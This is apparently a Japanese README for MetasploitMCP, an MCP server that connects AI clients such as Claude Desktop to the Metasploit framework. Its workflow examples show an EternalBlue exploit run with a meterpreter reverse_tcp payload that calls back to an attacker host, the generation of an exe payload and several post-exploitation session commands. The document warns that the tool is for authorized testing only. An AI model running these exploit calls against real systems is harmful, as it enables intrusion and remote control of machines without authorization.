MetasploitMCP

Metasploit用MCPサーバー

ハンドラ管理

• list_listeners: すべてのアクティブなハンドラとバックグラウンドジョブを表示します
• start_listener: 接続を受信するための新しい multi/handler を作成します
• stop_job: 実行中のジョブまたはハンドラを終了します

前提条件

• Metasploit フレームワークがインストールされ、msfrpcd が実行中であること
• Python 3.10 以上
• 必要な Python パッケージ（requirements.txt を参照）

インストール

1. このリポジトリをクローンします
2. 依存関係をインストールします：
   root@kitploit:~

   pip install -r requirements.txt
   

3. 環境変数を設定します（オプション）：
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # オプション：生成されたペイロードの保存先
   

使い方

Metasploit RPC サービスを起動します：

トランスポートオプション

サーバーは2つのトランスポート方式をサポートしています：

• HTTP/SSE (Server-Sent Events)：ほとんどの MCP クライアントとの相互運用性のためのデフォルトモード
• STDIO (標準入出力)：Claude Desktop および同様の直接パイプ接続で使用されます

--transport フラグを使用してトランスポートモードを明示的に選択できます：

HTTP モードの追加オプション：

Claude Desktop 統合

Claude Desktop 統合の場合は、claude_desktop_config.json を設定します：

その他の MCP クライアント

HTTP/SSE を使用するその他の MCP クライアントの場合：

1. サーバーを HTTP モードで起動します：

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. MCP クライアントを次のように設定します：

   • SSE エンドポイント：http://your-server-ip:8085/sse

セキュリティに関する注意事項

⚠️ 重要なセキュリティ警告：

このツールは、強力なエクスプロイト機能を含む Metasploit フレームワークの機能への直接的なアクセスを提供します。責任を持って使用し、セキュリティテストを実行する明示的な許可がある環境でのみ使用してください。

• 実行前にすべてのコマンドを常に検証および確認してください
• 隔離されたテスト環境でのみ、または適切な許可を得て実行してください
• ポストエクスプロイトコマンドは、システムに重大な変更をもたらす可能性があることに注意してください

ワークフロー例

基本的なエクスプロイト

1. 利用可能なエクスプロイトを一覧表示：list_exploits("ms17_010")
2. エクスプロイトを選択して実行：run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. セッションを一覧表示：list_active_sessions()
4. コマンドを実行：send_session_command(1, "whoami")

ポストエクスプロイト

1. ポストモジュールを実行：run_post_module("windows/gather/enum_logged_on_users", 1)
2. カスタムコマンドを送信：send_session_command(1, "sysinfo")
3. 終了時にセッションを終了：terminate_session(1)

ハンドラ管理

1. リスナーを起動：start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. アクティブなハンドラを一覧表示：list_listeners()
3. ペイロードを生成：generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. ハンドラを停止：stop_job(1)

テスト

このプロジェクトには、信頼性と保守性を確保するための包括的なユニットテストと統合テストが含まれています。

テストの前提条件

テストの依存関係をインストールします：

または便利なインストーラを使用します：

テストの実行

簡単なコマンド

特定のテストスイート

テストオプション

テスト構造

• tests/test_options_parsing.py：graceful なオプション解析機能のユニットテスト
• tests/test_helpers.py：内部ヘルパー関数と MSF クライアント管理のユニットテスト
• tests/test_tools_integration.py：モック化された Metasploit バックエンドを使用したすべての MCP ツールの統合テスト
• conftest.py：共有テストフィクスチャと設定
• pytest.ini：カバレッジ設定を含む Pytest 設定

テスト機能

• 包括的なモッキング：すべての Metasploit 依存関係がモック化されているため、実際の MSF インストールがなくてもテストが実行可能
• 非同期サポート：pytest-asyncio を使用した完全な async/await テストサポート
• カバレッジレポート：HTML レポートを含む詳細なカバレッジ分析
• パラメータ化テスト：複数の入力シナリオの効率的なテスト
• フィクスチャ管理：一般的なセットアップシナリオのための再利用可能なテストフィクスチャ

カバレッジレポート

カバレッジ付きでテストを実行した後、レポートは次の場所で利用可能です：

• ターミナル：テスト実行後にカバレッジサマリーが表示されます
• HTML：htmlcov/index.html（--html オプション使用時）

CI/CD 統合

継続的インテグレーションの場合：

設定オプション

ペイロード保存ディレクトリ

デフォルトでは、generate_payload で生成されたペイロードはホームフォルダの payloads ディレクトリ（~/payloads または C:\Users\YourUsername\payloads）に保存されます。PAYLOAD_SAVE_DIR 環境変数を設定することで、保存場所をカスタマイズできます。

環境変数の設定：

• Windows (PowerShell):

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (コマンドプロンプト):

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• Claude Desktop 設定内:

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // デフォルトを上書きする場合のみ追加
  }
  

注意： カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションが作成する権限を持っていることを確認してください。パスが無効な場合、ペイロード生成が失敗する可能性があります。

ライセンス

Apache 2.0